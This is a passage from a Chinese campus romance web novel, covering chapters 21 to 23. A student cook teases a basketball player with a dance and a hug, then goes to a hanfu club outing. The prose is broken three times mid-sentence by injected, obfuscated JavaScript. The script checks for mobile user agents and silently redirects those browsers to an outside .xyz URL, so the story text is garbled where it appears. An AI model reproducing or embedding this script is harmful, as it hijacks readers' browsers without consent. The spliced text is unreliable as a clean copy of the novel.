“昨晚我和他提了,他没什么反应,像是在装傻。”曲辞回忆昨晚的情况,“他要是真想还钱,完全能主动找我,可他什么都没干。” 阮林犹豫地说:“万一他只是忘了呢?减脂期的人不光暴躁,可能还会忘事。” “没必要跟在他屁股后边要钱这么低声下气,我觉得现在的办法就很好,我能爽,还看着他受折磨,就算钱收不回来也值了!”曲辞抱着双臂说。 食堂里喧哗的声音陡然大了起来,他俩循声望去,看见刚早训完的体育生们过来吃饭,尤其是篮球生,十几个长条人在人群里相当明显。 当中那个最凶最帅的更有一种鹤立鸡群的气质,曲辞一眼就看见了他。 方谒不经意地转头,也看见了他,两人面无表情地对视了几秒,各自装没看见似地挪开了眼睛。 公共场合闹事不雅,克制。 减脂早餐也不能□□致碳水,食堂里的选择有限,篮球生们只能买白水煮鸡蛋、蒸地瓜、煮玉米等等,端着托盘应寒就开始唉声叹气。 “看到这些觉得活着都没什么意义了。”坐下之后,他重重叹气道,“要不我们自己点外卖减脂餐?好过来食堂馋得要死又什么都不能吃。” 方谒摇头:“外卖不安全。” “要不让你家厨子送?或者我家厨子送也成。”应寒悲愤地啃了一口地瓜,“这苦日子过到什么时候才是头!” 方谒慢条斯理地用筷子剥鸡蛋:“没必要给别人增加额外的工作负担。” “对了,戴老板的咖啡馆有简餐吗?他那儿做点三明治沙拉什么的总没问题吧?”应寒问道。 方谒技巧高超地剥完了一个鸡蛋,刚咬了一口,听见这话像是受到了什么启发。 【。】:戴哥,你那儿卖减脂餐吗? 戴岳应该是刚醒,迷迷糊糊给发来了语音:“店里不卖,你想吃?” 方谒也就回复过去语音:“那没事了。” 戴岳:“就你吃吗?我让我们咖啡师单独给你做就是了。” 方谒:“不必麻烦——” 应寒连忙打断,在旁边喊:“请务必麻烦!他要是会做就让他做吧!我们掏钱!” 戴岳:“放心,我跟他说,他可喜欢做吃的了。” “当然没问题!”厨艺有发挥的空间,曲辞很兴奋,“就做给两个人吃是吗?” 戴岳笑呵呵地说:“对,他们主要为了减脂,做什么你来决定就行。” “怎么到处都在减脂?卷身材的风也是吹到了大学生群体里。”曲辞顺嘴一说,并没深究,得意地打了个响指,“今天我把菜单定下来,拿给你过目!” 戴岳连连点头:“辛苦你了,不用考虑成本,材料费他俩出,人工费也给你加。” “老板敞亮!”曲辞右手握拳捶了捶胸口,“一切交给我!” 假期过后,咖啡馆的顾客更多了些,不过店里就那么十几张桌子,再忙也忙不到哪里去,不会像连锁快餐咖啡那样出餐那么多。 曲辞这学期课也不忙,打算白天除了上课全在这边待着,年轻的生命活着就是为了挣钱! 闲暇之余他扒了很多美食app,当晚就搞出了3x7一共21顿的不重复菜谱,甚至还用平板画成了超级可爱的手绘图。 “我天,这么丰盛?!”戴岳扒拉着屏幕看图,连连感叹,“小辞啊小辞,请到你我可是捡着宝了。” 曲辞心里得意,嘴上谦虚:“哪里哪里,受人之托忠人之事罢了。” 当然还因为可以多赚一份多余的人工费,岂不乐哉! 他没专业学过厨,会做饭完全是个人兴趣,再加上从小帮老妈的忙才练就一身厨艺,像减脂餐这种不太需要烹饪技巧的食物,完全手拿把掐。 戴岳低头研究那些食谱,随手把图片转发给方谒,跟曲辞说:“这样,需要增加什么小家电你也整理出来,今晚我就下单,明天咱就能用上!” 【。】:这么丰盛?就这些吧,替我感谢你们咖啡师。 【戴】:我这个咖啡师可是宝贝,改天你来店里介绍你们认识,要不是他有大志向,我真想把他留下来一直跟我干。 【。】:不要祸害别人。 看到这熟悉的画风,戴岳只是嘿嘿笑了笑,转过头对吧台后边的曲辞说:“小辞,我朋友对你的食谱很满意,还表示要谢谢你。” 曲辞比了个心:“客气啦!是我应该做的。” 第二天一早,怀揣着满满的热情,一来到店里他就开始做餐单上的早餐。 烤箱复热的全麦恰巴塔做饼胚,中间夹牛油果切片、橄榄油煎的滑蛋、大虾和低脂芝士片,再来一片生菜和两片西红柿,调味仅用一点海盐和黑胡椒,就是厚厚的一大个帕尼尼。 用漂亮的油纸包好,用自己手绘图案打印出来的贴纸封口,完美! 饮品就更简单了,天气渐凉,一杯热美式足矣。 “我靠!戴哥请的咖啡师真神了,这玩意真好吃!”寝室里,咬下帕尼尼的第一口,应寒就惊艳了,“如果吃这个减脂,那我愿意天天减!” 方谒嗤笑:“算了吧你,放一盆毛血旺在你面前,看你还能不能说出这种话来。” 他也承认这份帕尼尼比上次的云朵鸡蛋吐司更美味,毕竟食材更丰富,但让他心情不错的是这次外卖袋里赠送的小纸条。 还是那个清秀的笔迹,写着:“新的一天,冲啊!” 下边画着一只奋力奔跑的小狗,四脚悬空,浑身厚厚的毛发被吹得向后飞起。 说不上画的是不是西高地,但有点像他的小狗笑笑。 不知道这纸条是谁写的,跟做出这些美味的是同一个人吗? 有了这定制小灶之后,方谒莫名开始期待每天的饭点儿。 他就算是能禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345579|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲能卷自己,到底也是个刚二十岁还在长身体的篮球生,对于食物的渴望还是非常强大的。 现在有了能放心吃又美味的食物,吃饭对他来说就像是有了全新的意义。 还很期待每顿饭附赠的小纸条。 那位咖啡师没让他失望,午餐是两份菜,西蓝花黑胡椒牛柳和西芹炒鸡腿肉,每人还配一份蔬菜沙拉,用的是0脂0糖0添加的料汁,主食是糙米饭,小纸条上写着:“抬头看见太阳,记得对它笑一笑,它会送你一份好心情哦!” 鬼使神差的,下午上课之前经过教学楼前小广场,方谒还真的抬头看了一眼太阳。 笑就没笑了,毕竟凶神酷哥。 晚餐的两份菜是白灼大虾和丝瓜炒鸡蛋,配了蔬菜沙拉和一小碗菌菇鸡汤,主食依旧是糙米饭,但额外加了点海苔碎,吃起来多了份复合香气。 除此之外一人还有一个巨小的黑豆窝头,让他们饿得实在难受的时候稍微补充一点碳水。 这次的纸条寄语则是:“睡前想想今天做了好多事,一定会觉得自己很棒!奥利给!” 吃到美味,晚训的时候也比前两天有力气,哭嚎了几天的应寒也不嚎了,感觉自己又行了,居然还要跟方谒比赛,最后求虐得虐,趴在垫子上躺尸。 “我踩你了,准备好了吗?周围都没人了,赶紧拉伸完回去。”方谒看了看附近,体育场上就剩他俩。 应寒手脚摊开,成了一个“大”字,口吐虎狼之词:“放马过来吧,哥哥杀我!” 听到“哥哥”这两个字,方谒的脑神经突然一颤,抬起的脚刚踩在他左腿的股四头肌上,因为没有站稳而向一侧滑去,狠狠给他碾了一下。 应寒发出了撕心裂肺、跌宕起伏的一声哀嚎:“啊~啊~啊~你脚下留情!” 方谒收了脚站稳,定了定神,正准备换条腿再下脚,耳边就传来了一声清脆的“哥哥”。 刚踩上应寒右腿的脚也滑了一下,成功摩擦出另一声划破苍穹的惨叫。 “哥,我没什么可招的了,摇(饶)了我吧!”应寒狠狠捶了几下垫子。 方谒不可置信地回头望去,不是幻听,仅仅消停了一天的奶牛猫又出现了。 还带着帮手。 曲辞做了一天饭,收到了老板和顾客的夸夸,心情非常好,于是决定让心情再锦上添花。 听闻他们篮球生晚训差不多快结束,而方谒还没回寝室,就拉着阮林过来碰碰运气。 没想到还真让他给逮着了。 “哥哥,你训练完了吗?累不累?”他又装出一副天真无邪的模样,站在方谒面前,微微仰头道。 方谒:“……” 怎么,这次已经不避着人了吗? 备受摧残的应寒顾不上喊疼,从垫子上坐起来,满脸惊讶地望着曲辞。 曲辞是没打算避开他,反正这人跟方谒是基友,根本避不开。 他完全忽略应寒的存在,真诚地看着方谒:“累的话我跳舞给你看吧!”说着便冲阮林打了个响指,“伴奏,起!” 阮林略显无奈但又一脸看热闹地在手机上点了一下,《Trouble Maker》的前奏音乐就从扬声器里流淌出来。 口哨声和“哈”声交织,骚情得很。 这舞是曲辞高三暑假学的,军训的时候拿出来卖弄过,虽然当时是独舞,也并不妖娆,但依旧成为别人怀疑他是男同的铁证。 那就得拿来恶心恶心方谒了。 老抽狗,月黑风高鲨人夜,让我来kill掉你的双眼! 21. Chapter 21 秋季的夜晚,空荡荡的体育场跑道一侧,《Trouble Maker》的乐声震彻了这一小片夜空。 景观灯照亮了应寒目瞪口呆的表情,还有方谒凶神恶煞的脸。 曲辞看着他那副眼珠黑沉沉的、像是要吃人的模样心里快要爽死了,更加放飞自我地“搔首弄姿”。 顶胯、扭臀,我闭着眼~ 摇摆、微笑,我转个圈~ 好久没这么“发疯”了,感觉那是相当的不错! 方谒打出生到现在,都没见过这个款型的人,一时间非常无语。 没来得及出言阻止,就被迫按头看了一段舞。 少年身形高挑瘦削,穿着最普通的白衬衫、黑色牛仔裤和黑面帆布鞋,是学院风的打扮,看上去是那种清纯学长feel,衬衫很宽松,下摆松松地扎进腰里,显得他身体好像只有薄薄的一片; 舞动的双臂偶尔滑过腰间,箍出更精确的轮廓,是很细的一杆腰,细得好像自己两只手就能掐过来; 但这么瘦,被牛仔裤包裹着的屁股却很翘,摇晃起来还很有力气的样子,腰胯核心显然不差; 头肩比、头身比、四肢比都很不错,长发半束半披,甩起来还挺带感,纤瘦的双臂随着节奏挥舞,两条修长的腿跳出让人眼花缭乱的舞步…… 除了这个行为本身很抽象之外,这舞蹈,跳得好像还不错? 方谒很少刷短视频,更不看流行舞,但眼前这一小段特意为他奉上的演出,他觉得比偶尔不小心点开的视频切片里跳得好看。 一曲终了,曲辞背对他站着,偏过头给了他一个魅惑的眼神,抬手比了个心,语调甜腻:“哥哥,风走了几千里,不问归期,我入室抢劫来爱你。” 嘿嘿,恶心不恶心?刺激不刺激?晚上睡得着吗? 方谒:“……” “哥哥,你喜欢吗?”曲辞蹦蹦跳跳到他跟前,仰头祭出夹子音,比自己平时的少年音更加温柔甜美,“晚训这么辛苦,看我为你跳舞,会不会轻松一些?” 这张脸在昏暗灯光里显得有几分模糊,比平时更好看,方谒垂眸望着他,心情复杂。 这只奶牛猫总是给他一种难以名状的感觉。 变态吧还真算不上,因为不管什么奇怪的事,这人做出来没那么让人反感。 倒是有一点喜感。 “你怎么不说话呀~~人家好不容易鼓足勇气,才过来跳舞给你看的……”曲辞用指尖捏着他T恤一角,轻轻晃了晃。 同时有点疑惑。 这次方谒应该还没来得及洗澡,但很奇怪,他身上汗味并不浓重,也不算难闻。 跟自己见过的所有体育生比起来,简直算是小清新。 看来是平时个人卫生搞得好,最近为了减脂吃得也素,所以体味不重。 不er,怎么全世界的人都在减脂吗? 秋天就应该养秋膘,你们都在违背老祖宗的教导! 阮林站在两米之外,看着他这副表现,几乎惊掉下巴。 我辞哥,这是跟骚0哥学了一手吗?! 甚至青出于蓝而胜于蓝! 你别说,还真别说,他俩这身高差、体型差和风格迥然不同的两张俊脸摆在一起,看起来倒是挺养眼的。 但方谒不会打他吧? 围观了全程的应寒盘腿坐在垫子上,仰头看着曲辞,惊诧不已地说:“这个世界上没有你在乎的人了吗?” “我只在乎方谒哥哥~~”曲辞非常入戏地望着方谒,漂亮的小鹿眼目光迷离,饱含“深情”,“哥哥你夸夸我吧!” 应寒更是张大嘴巴望向基友,宛若下巴脱臼合不回去,酷似一个青蛙垃圾桶。 方谒压低声音威胁:“上次怎么跟你说的,你忘了吗?!” “我不管!我就是要追求你!”曲辞小嘴巴撅起来,认真地说,“我想过了,娃钱你不想赔就算了,这点钱我自己打两个月工就赚回来了,不要让这点小事影响我们的感情。” 应寒一脸震惊地站了起来:“谒哥,怎么个事儿?你背着我和他有一腿?” 方谒看着曲辞这张演技绝佳的脸,微微蹙眉:“再胡说八道我揍你了!” 曲辞却轻轻一笑:“别吓唬我了哥哥,你要是舍得动手,早就打我了,我才不信你的狠话呢!你就是欲擒故纵!我才不管你是弯还是直,反正我有追求你的权利!” 方谒再次被这种胡搅蛮缠的言论震惊。 尽管不想被禁赛,但忍无可忍他还是会动手,只是现在还没到那个程度,以及,眼前这个柔弱的奶牛猫肯定不是自己的对手,要是真打起来,会显得自己恃强凌弱。 他沉吟着,无意识地抬手,想挠挠头皮,谁知这么一动,曲辞还真以为他要打人。 电光石火间,火爆小辞决定豁出去了。 他“啊”地一声扑上前去抱住了方谒,侧脸向内靠在对方的肩膀上,双臂紧紧环住紧实有力的窄腰,低声道:“哥哥不要打我!我真的喜欢哥哥!” 这个心路历程很难细细解释,非要说的话,就是曲辞觉得,对方要抡拳,在来不及跑的前提下,缩小两人之间的距离才是闪避攻击的最好方式。 其次,尽管自己一直认为不会跟对方有肢体接触,但突然间拥抱一下,应该不算性骚扰,但可以极大地恶心恐同男。 这就是一举两得! 果然,那砂锅大的铁拳没有落在他身上,他倒是觉得怀里搂着的这个热腾腾的钢铁之躯,突然真的钢铁了起来。 全身上下的肌肉好像都在同一时间变得紧绷。 阮林和应寒也没想到会有这个走向,不约而同地傻了眼。 一刹那间,体育场的这个角落静谧无声。 只有拥抱在一起的两个人能听到彼此飞速加快的心跳。 曲辞是个不太在意肢体接触的人,他在家跟老妈和姥姥也经常亲亲抱抱,跟阮林也会勾肩搭背,毕竟他一个直男,没太多讲究。 现在抱住方谒,他有一个很深的感触,就是—— 这男的好他喵的结实! 自己居然还能这么小鸟依人! 作为一个直男体育生,方谒在肢体接触方面更没有什么禁忌,但这会儿抱着他的人是个男同,那就完全不一样了!! 第一个瞬间,他只是觉得疑惑,都是男人,怎么这个奶牛猫,身上软乎乎的? 第二个瞬间,曲辞身上沾了微凉的夜色,而自己刚晚训完不久,浑身还在发热,这么一搂,居然还有点舒服? 第三个瞬间,他的鼻端闻到了曲辞发顶传来的香气,是一种清凉又淡雅的味道,跟上次的感觉一样,像一朵水生花; 第四个瞬间,曲辞抵在他脖颈的鼻尖轻轻呼出一缕温热的气息,此刻以那里为中心点,一股麻意迅速向四面八方扩散开去! 这种感觉顺着后颈爬上头皮,在方谒的天灵盖炸开了一朵烟花。 他下意识地屏住了呼吸。 就在他打算把人推开的时候,曲辞先一步松开了他,后退一步。 “抱歉,哥哥,我、我刚才是吓了一跳,不是故意占你便宜!”他慌乱地解释,“你不要讨厌我!我、我现在心很乱,先走了!拜拜!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345580|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 曲辞死死咬住下唇,不让自己笑出来,转身拉着阮林飞快跑掉了。 再不溜真打过来了! 剩下两根电线杆站在原地茫然地望着他们的背影。 过了不知道几秒钟,应寒艰难地问:“刚才发生了什么?什么东西唰一下过来又唰一下跑了?” 他形容得倒是恰当,方谒感觉也是这样。 奶牛猫发动深井冰攻击的时候战术就是快攻奇袭,一下子给人个措手不及,然后再收放自如地溜之大吉。 从刚才的热舞进攻到偷袭拥抱,算下来不过三四分钟的时间,在人脑子里留下了不可磨灭的痕迹之后就消失得无影无踪。 这个男的,有点东西。 “他说要追你?”应寒后知后觉地找到了华点,用手肘杵了杵方谒,震惊地问,“我没听错吧?” 方谒沉着脸不吭声。 应寒更加意外:“怎么你看起来一点不惊讶的样子,早就知道了?对了,他说上次,上次是什么时候?!” “假期的时候他说过。”方谒用下巴一指地上的垫子,“趴下。” 应寒乖乖趴在垫子上:“靠,这么劲爆的消息你怎么不告诉我?看来我们之前对他的判断是对的。” 方谒没搭理他,脚后跟在他左腿腘绳肌上狠狠一踩。 “啊!”应寒嚎叫了一声,又继续说,“卧槽,这个曲辞真猛,看他瘦瘦弱弱的,居然敢抱你,但你也没推开他,怎么?他跟上次那个不一样?那个人从背后搂你一下,你都恶心得三天没睡着觉。” 感觉是不一样,上次像是被冰冷潮湿的水蟒从背后缠住,但这次,像是有一朵荷花钻进怀里。 但方谒没回答,这话要是说出来,听起来可太怪了。 应寒则回味起了曲辞的舞姿:“你别说,他人有点神经,但舞跳得正经不错,练习一年半可以出道了吧,女生就吃他这一挂的,什么又纯又欲,看着脸纯情得不行,扭起来还挺带感,哎,可惜是个男同。” 说着还往后扭头看方谒:“他腰还挺细,搂着什么感觉?” 方谒脚后跟用力在他右小腿腓肠肌上狠狠一碾,痛得他又是一声撕心裂肺的长啸。 “啊!!卧槽,爽!”应寒变态一样地大吼。 “你变态吧?”方谒面无表情地踹了他两脚,“起来。” 应寒从垫子上爬起来:“我是觉得哈,曲辞这长头发大眼睛小细腰的,看上去跟漂亮妹子没什么区别,当女孩欣赏也没什么问题——你刚才抱他了吗?” “废话,当然没有!”方谒趴下,双手叠起来垫着额头,闭上眼忍着身上肌肉传来的酸痛感。 脑子里却不由自主地回想起方才曲辞那舞姿,在自己面前转圈、抛媚眼,扭那个被牛仔裤包裹着的饱满的屁股; 还有突然间扑进自己怀里之后那种复杂又奇怪的感觉,新鲜的触感,新鲜的味道…… 莫名觉得口干舌燥。 应寒一边踩他一边喋喋不休:“我觉得这个小漂亮跟之前那个不一样,那个跟他妈水鬼一样阴魂不散,曲辞看起来虽然抽象,但感觉算是个正常人。” “为了要追你,之前急赤白脸地追着你要的娃娃钱都不要了?我看那娃娃就不值钱!” “不知道他在哪儿打工,这么缺钱吗?还是想多赚钱?” “你打算怎么办啊?我看他一时半会不像是要放手的样子,不过不用赔钱倒是好事,五千块干什么不香!” 放松完肌肉,方谒从垫子上站起来,左右晃晃脑袋,活动着脖子面无表情地说:“不怎么办,看看他还有什么招。” 22. Chapter 22 曲辞和阮林跑出体育场好远,才敢停下来喘口气。 俩人呼哧带喘地对视一眼,不约而同地哈哈大笑起来。 “辞哥我真对你五体投地!”阮林羡慕地问,“抱着方谒的感觉怎么样?” 曲辞晃了晃食指:“我又不是男同,抱住一个同性的身体,跟左手握右手一样毫无感觉。” 想了想,他又说:“但我得承认,这篮球特长生,个高腿长,主打一个匀称修长爆发力强,抱着是挺舒服。” “肌肉能软弹也能梆硬,我摸着背肌轮廓不错。” “说到这里就不得不夸夸那杆腰,真紧实,一丝赘肉都没有,核心力量应该超级棒!” “肩膀宽阔,手臂结实,靠着确实很舒服,不过幸亏我退得快,不然我感觉他能直接抱摔我。” 阮林:“……” 曲辞觉得他看自己的目光不对劲,停下来问:“干嘛这么看着我?” “还说左手握右手,我看你敏感得很,感受很丰富了。”阮林幽幽地说。 曲辞据理力争:“我这是客观描述!” “是吗?那让我翻译翻译你的话!”阮林清了清嗓子,“肌肉匀称修长,爆发力强,说明do的时候就会像个永动打桩机,打到天荒地老。” “肌肉时而软弹时而梆硬,厚实有安全感,就是说很适合坐在上边自己动,累了还可以直接趴他身上,反正他能完全托住,抱着颠。” 曲辞老脸一红:“……” 阮林继续道:“腰又紧实又窄,核心力量好,手臂结实还能抱摔,就说明他能把人抱起来艹——” “OK,小嘴巴闭起来!”曲辞看过他画的一些大尺度同人图,听他的描述脑海里都有构图了,“这是你男同的脑回路,又不是我的,你要非说我敏感,那也可能是我的职业病!” 阮林没反对他的这个说法,啧了一声:“你刚才表现得那么活0活现,我都有点嗑你俩了。” “我看你是真的饿了。”曲辞表示无语。 但为自己的精彩表现点赞! 一定能成功气到老抽狗,吼吼! 只要他不爽,我就爽了! 阮林想了想,却说:“非也,三次元没嗑过,邪门的更没嗑过,有点兴趣。” “随便你,我这可是限定版邪门CP,绝对BE,等我玩腻了就把他一脚踢开,到时候你可别消化不良。”曲辞满不在乎地说。 阮林突然来了兴趣:“既然这样,我能画你俩的同人图不?” “瘾这么大吗?”曲辞十分不解,“最近活儿接少了?” “那倒不是,就是接得多有压力,还都是正经单,所以想画些黄图放松一下。”阮林邪魅一笑。 曲辞无语:“那你怎么不画你跟方谒的?” “我哪好意思,画你俩我比较没有心理负担。”阮林说。 “你这个追星脑,居然能接受把基友画成嫂子,我看你对方谒不是什么真爱——呸呸,我才不是嫂子!”曲辞拉住他的手腕,郑重其事,“你可以画,但我是1!大猛1!” 阮林那可爱又无辜的脸上露出了一点“给你个镜子照照呢”的表情,随即坦诚地说:“辞哥,我不画矮攻,到时候发在网上,会被挂出去避雷的。” 曲辞:“……” 自己跟方谒那个篮球生站在一起,对方确实更像猛1,这是事实,狡辩也没用。 “随便吧,你爱咋画咋画,反正别人也看不出是我俩。”他无所谓地说。 阮林想了想,疑惑地问:“不过我看刚才方谒的反应,也不像那么恐同,他要是真想揍你,肯定能逮住你吧?” “这你就不懂了。”曲辞颇为得意,“我打听过,过一阵要打校篮球赛,年底校男篮还要打CUBA,要是打架记过搞不好会被禁赛,他想揍我容易,但自己心里得掂量掂量轻重。” 他轻松地踢着地上的小石子:“他去年才入队,但咱们学校去年成绩不好,今年大家都卯着劲儿呢,他是来自大二的中坚力量,这次肯定想和球队一起共创佳绩,绝对不会轻易惹事。” “辞哥你这个软肋抓得有水平。”阮林笑道。 曲辞双手抄兜,不懂什么叫对手:“所以,他只能被动挨打,洗净脖子等着挨宰!” “这什么训狗文学!”阮林重复了刚才自己那句话,“我真的有点嗑你俩了。” 娃娘把新的娃寄过来了,曲辞再次变得忙碌。 白天要打工,晚上还要见缝插针地重做娃衣,等最后再给娃头上妆。 周日下午还得参加汉服社的活动,为此他特意跟咖啡馆老板请了假,把制作减脂餐的步骤写下来,保证戴老板自己也能轻松操作。 中午时分,对这个活动期待已久的阮林准时来曲辞寝室,让他赶紧给自己化妆搞发包。 三个室友全不在,寝室正好空出来给他们做准备,曲辞耐心给基友戴好假发头套,盘了个相对简单的反绾髻,再画了一个淡雅的唐风妆。 唐代妆容偏英气,阮林这男款眉毛正好不用修得太狠,整个做完,再换上他准备好的漂亮衣裙,活脱脱一个美貌唐风少女。 再加上他有一点肉乎乎,喉结不明显,只要不开口,绝对不会有人认出他是女装大佬。 “啊啊啊啊啊!我可真好看!”他迫不及待拿着手机反复自拍。 曲辞的扮相就没那么复杂,他穿的是大明蓬蓬裙——男装贴里,纯橙红色没有纹饰的贴里,外边配一件深蓝色缠枝纹罩甲,头戴一顶大帽,像极了一个风华无双的少年武官。 长发挽成古人发髻,戴条网巾定型,外边戴帽子,彩妆也省了,英俊小辞颜值能打! 俩人刚出寝室,遇到一群回来的体育生,不约而同心道“不好”。 这帮人最爱起哄,肯定有话要说。 果然,闲出屁来的活猴子们开始嗷嗷叫,嘲讽对象是阮林。 “哎呀,怎么有女生进男寝了!快呼叫宿管阿姨!” “卧槽,女装大佬!” “真的假的?完全看不出来,穿成这样不会是拍视频去诈.骗吧?” 阮林虽然对这个场景有预估,但预估不足,这会儿脸红到耳根,低着头只顾快步走。 走两步被人拉住,对方嬉皮笑脸地学着古装剧台词:“哟,这么俊的小娘子,抬头让本大爷看看!” “看个屁!”曲辞当即挥动手里的木头剑,打开伸过来的狗爪子,“滚蛋!少动手动脚!” 另一个起哄:“哎,诈.骗也问清楚来历啊,本校生不骗本校生!” 曲辞冲他瞪眼:“管好你自己就行!不想在网上骗炮就肯定不会被人骗!” 又有人笑他:“哟哟哟,搁这儿英雄救美呢?!你俩是一对儿啊?” “念点书吧!净给体育生丢脸!”曲辞呵斥,“朝代都不一样,能是一对儿吗?!” 他拉紧了阮林的手腕:“走,别理他们!” 急匆匆冲转过弯,曲辞一下子撞到了一个人身上,被向后反弹了几步,抬头一看,又是方谒。 这杀千刀的缘分! 方谒的嘴巴正好被他头顶大帽帽檐卡了一下,有点疼,但又不至于疼得出声,颇为无语地叹了口气。 旁边应寒乐了:“嘿,冤家路窄哈!”接着就被旁边的唐朝“仕女”吸引了目光,“卧槽,你是……” 他是痞帅的长相,这么定睛打量别人,露出的目光充满欣赏,算不上油腻,真男同阮林被他这么一看有点害羞,低着头不吭声。 曲辞懒得跟这帮糙人说话,臭着脸对方谒说了句“不好意思”,拉着阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345581|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林走了。 应寒好奇:“哎?不是要那什么你吗?变脸了?怎么不‘咯咯咯咯’了?” “基操罢了。”方谒淡淡地说。 这里人多,奶牛猫一定会有所收敛。 他偏过头,目光落在曲辞被腰带箍出的细腰上。 不知道那些衣服是什么名堂,但穿了挺多层,腰居然还这么细。 恍惚间仿佛回到对方“投怀送抱”的那晚,他虽没有抬手反抱回去,但自己的身体也是有触觉的。 足够描摹出那瘦长的身形轮廓。 应寒也瞅着阮林的造型,连连感叹:“难怪有的女装大佬能唬人呢,是好看啊!” 汉服社下午的活动分为两个步骤,先在教室里一起做北京绢花,做好花之后,到了傍晚,大家再一起去人工湖旁边拍照。 由于曲辞多才多艺,在妆师界积攒了丰富的经验,这次绢花由他来教大家,阮林担任助教,主要是帮姐妹们调色。 在欧根纱上剪出各自要做的花瓣片和叶片形状,再调出需要的颜色给它们上色,晾干之后用烫花器把花瓣烫出需要的弯曲度,最后用树脂胶把它们一瓣一瓣贴在染好色的石膏花蕊上,最后缠上叶片,一朵栩栩如生的花朵就诞生啦! 非遗绢花想做好不容易,想入门也不算难,大家虽然做得手忙脚乱,但花朵千姿百态没有定势,做出来都各有各的美感。 曲辞做了一朵莲花,每朵花瓣下半截是纯洁无瑕的白色,向上渐变粉色,“出淤泥而不染,濯清涟而不妖”,漂亮得很,社团姐妹们排队来拍照打卡。 他也跟自己的这朵莲花拍了张合影,又拍了个特写,两张图一并发给老妈。 【我儿小辞】:麻,给你做了个头像,哈哈哈! 老妈是传统中老年网名“好运莲莲”,这莲花实在再配不过。 【超能妈咪】:好看好看!收下了!我儿的手就是巧! 社员们各自把做的绢花做成簪子或者胸针,装饰在身上,傍晚时分起去人工湖边游玩拍照,成了新校区一道吸引人目光的风景线。 很多同学饶有兴趣地举起手机拍他们,他们也毫不介意地让人拍。 “嚯,汉服社漂亮妹子真不少啊!”应寒坐在自己的电脑椅上,双手捧着手机看群里分享的小视频,“我看那帮饿狼已经疯了,全都惦记上了,可怕。嘿嘿,他们知不知道里边有一个女装大佬?” 晚上这顿减脂餐吃起来味道不对,方谒刚刚向戴岳发去质疑,得知不是那位咖啡师做的,心里正有点不爽,懒洋洋地靠在椅子上捏握力器,没有吭声。 应寒又点开一个小视频,这一小段是阮林的单独cut,唐风“仕女”笑容娇俏可爱,顾盼生辉,头上多出来一朵大牡丹花,跟他很适配。 “你别说,你还真别说,曲辞这个基友,有点意思。”他手动把视频存了下来,再翻到一个,是曲辞的cut,顺手转给了方谒,“把小基佬的片段发你了。” 方谒漫不经心地掏出手机,点开视频,画面上的曲辞把大帽摘了,发髻上插着一朵莲花,对着镜头的笑容十分灿烂,配上红霞漫天的湖景,实在是个英姿飒爽的美少年。 他定格视频,双指放大画面,看着美少年的笑脸,微微勾了勾唇角。 终于结束了社团活动,曲辞累得连饭都不想吃,拖着疲惫的身躯回了寝室。 开门的时候感觉一身风从背后掠过,接着后脑勺被拍了一巴掌。 他不爽地回头看,在看见方谒那张凶脸上居然露出坏笑的同时,就见对方抬手,“啪”地一声,一张纸条被竖着贴在了自己的额头上。 “天地玄宗,敕妖灭形,急急如律令!”方谒朗声道。 而后因为奶牛猫头上贴着黄色符纸的样子实在搞笑,忍俊不禁地笑了出来。 23. Chapter 23 由于过分疲惫,再加上出乎意料,没想到方谒会干这种抽象的事,曲辞大脑卡壳,原地愣住了。 符纸贴在额头正中间,差不多把他眼睛全挡上,他把纸条吹开,才看见对面这位凶神正笑得开心灿烂。 笑起来倒是挺帅,但十分欠揍。 还没想出拆解的招数,就听身后的门开了,石恒发出了惊讶的“卧槽”。 305的三位篮球生正要去开例会,一字长蛇阵站在门口,看见了曲辞后脑勺的符纸和棺材脸方谒的笑容,不知道该先震惊哪件事。 再看曲辞回头瞅他们,脑门上还有一张符纸,这画面要多好笑有多好笑,仨人又“噗嗤”一声笑了出来。 尹旭忍俊不禁地问:“你们干嘛呢?大明也有僵尸了吗?” 旁边两间宿舍的门也都陆续打开,出门的都是去开例会的体育生,饶有兴趣地围观过来: “哟,方馗捉鬼呢?” “要不要请林正清来帮忙啊!” “你俩这梁子还没掰扯清楚呢?” 应寒也从308出来,正要找提前出门的方谒,谁知道看到这样一幅世界名画。 “卧槽,到底谁被鬼上身了?!”他一时间竟难以分辨。 方谒颇有些得意地看着面前的曲辞,看这个奶牛猫怎么应对。 还有什么花招吗?敢在大庭广众之下使出来吗? 敢叫“哥哥”吗? 敢扑上来吗? 敢说要追人的话吗? 就在他准备事了拂衣去的时候,对面的人突然动了。 曲辞顶着脑门上的符纸,上前一步猛地抱住方谒的胳膊,拉着他向后退进了自己的寝室,挤得后边三个人顺着空隙溜了出去。 在别人眼里,仿佛方谒突然被妖精的老巢吞没! 一走廊的人都愣住了。 